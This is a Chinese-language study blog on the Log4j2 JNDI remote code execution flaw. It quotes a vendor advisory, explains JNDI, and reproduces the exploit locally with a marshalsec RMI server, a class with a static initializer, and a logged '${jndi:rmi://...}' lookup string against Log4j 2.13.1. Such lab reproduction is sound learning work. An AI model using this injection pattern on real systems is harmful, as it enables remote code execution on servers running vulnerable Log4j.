标签:# java基础

Apache Log4j2 远程代码执行漏洞

漏洞介绍(摘录阿里云官方)

【漏洞预警】Apache Log4j2 远程代码执行漏洞
https://www.yuque.com/buyiyangdeyanhuo-sinmr/gp5oyo/pnlkk8#GsXMF

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

影响版本

经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:
Apache Log4j 2.x < 2.15.0-rc2

安全建议

  1. 排查应用是否引入了Apache Log4j2 Jar包,若存在依赖引入,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

接着这个漏洞,学习一些知识。

JNDI

Your guide to The JNDI Tutorial
Java Naming and Directory Interface Overview

概念

偷个懒,直接copy。其实就是jvm运行时可以读取远程的文件、对象。

introducation

Java Naming and Directory Interface is the name of the interface in the Java programming language. It is an API( Application Program Interface) that works with servers and can fetch files from a database using naming conventions. The naming convention can be a single phrase or a word. It can also be incorporated in a socket to implement socket programming using servers transferring data files or flat files in a project. It can also be used in web pages in browsers where there are instances of many directories. JNDI provides users in Java the facility to search objects in Java using the Java coding language.

architecture

The JNDI architecture consists of an API and a service provider interface (SPI). Java applications use the JNDI API to access a variety of naming and directory services. The SPI enables a variety of naming and directory services to be plugged in transparently, thereby allowing the Java application using the JNDI API to access their services.
jndiarch.gif

Packaging

JNDI is included in the Java SE Platform. To use the JNDI, you must have the JNDI classes and one or more service providers. The JDK includes service providers for the following naming/directory services:

  • Lightweight Directory Access Protocol (LDAP)
  • Common Object Request Broker Architecture (CORBA) Common Object Services (COS) name service
  • Java Remote Method Invocation (RMI) Registry
  • Domain Name Service (DNS)

代码演示


JNDI读取本地文件

package Test;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.File;
import java.util.Hashtable;

public class TestJNDI {

    public static void main(String[] args) {

        //添加环境
        Hashtable env = new Hashtable(11);
        //环境地址
        env.put(Context.PROVIDER_URL, "file:/Users/loserwang/IdeaProjects/test");
        //指定为文件系统上下文,
        // com.sun.jndi.ldap.LdapCtxFactory用于LDAP
        // com.sun.jndi.fscontext.RefFSContextFactory用于文件系统上下文,它只需要使用者提供存放上下文的文件路径
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.fscontext.RefFSContextFactory");

        try {
            //1. 初始化上下文
            Context ctx = new InitialContext(env);

            // 2. 获取name对应object
            File f = (File) ctx.lookup("pom.xml");

            System.out.println(f);

            // Close the context when we're done
            ctx.close();
        } catch (NamingException e) {
            System.out.println("Lookup failed: " + e);
        }
    }
}

jndi-out1.png

ps: 需要自己下载com.sun.jndi.fscontext jar包

JNDI读取rmi

编译要提供的类

package Test;

public class Hello {
     static {
        System.out.println("做一些危险的事情");
    }
    
    public String hello(){
        return "hello";
    }
}

> javac src/main/java/Test/Hello.java 

将class文件放入服务器

jndi-out2.png

下载并编译marshalsec

> git clone https://github.com/mbechler/marshalsec
> cd marshalsec
> mvn clean package -DskipTests

使用marshalsec提供jndi rmi服务

进入marshalsec的target目录下,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件,
预发如下:

>  cd target 
>  ll
total 85016
drwxr-xr-x  2 loserwang  staff    64B 12 11 15:27 archive-tmp
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 classes
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 generated-sources
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 generated-test-sources
-rw-r--r--  1 loserwang  staff    41M 12 11 15:28 marshalsec-0.0.3-SNAPSHOT-all.jar
-rw-r--r--  1 loserwang  staff    99K 12 11 15:27 marshalsec-0.0.3-SNAPSHOT.jar
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 maven-archiver
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 maven-status
drwxr-xr-x  3 loserwang  staff    96B 12 11 15:27 test-classes

>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://localhost:8080/#Hello" 9999
* Opening JRMP listener on 9999

通过JNDI调用rmi

public class MyRmiClient {
    public static void main(String[] args) throws NamingException {
         //设置这个系统属性才能url获取jndi,不然抛出异常
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        
        String url = "rmi://127.0.0.1:9001/Hello";
        InitialContext context = new InitialContext();


        Hello hello = (Hello) context.lookup(url);
        System.out.println("获取成功:" + hello.hello());
    }
}

报错如下:

Hello cannot be cast to javax.naming.spi.ObjectFactory

把Hello改为:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Hello implements ObjectFactory {
     static {
        System.out.println("做一些危险的事情");
    }
    
    public String hello(){
        return "hello";
    }

    //context.lookup会调用getObjectInstance产生实例对象
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return new Hello();
    }
}

执行结果如下: (Hello.class被成功加载)
jndi-out3.png

Log4j Lookups

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.

Lookups提供了一种在任意位置向 Log4j 配置添加值的方法。它们是实现 StrLookup 接口的特殊类型的插件。
The JndiLookup allows variables to be retrieved via JNDI.
JndiLookup允许注入JNDI变量,并且执行结果。

引入依赖(bug修复前的版本)

       <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.13.1</version>
        </dependency>

log触发jndi, 实现注入

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TryLog4j {

    private static Logger logger = LogManager.getLogger(TryLog4j.class);

    public static void main(String[] args) {
        logger.error("java.version: ${java:vm} \n");
        logger.error("jndi启动:${jndi:rmi://127.0.0.1:9003/Hello}");
    }
}

jndi-out4.png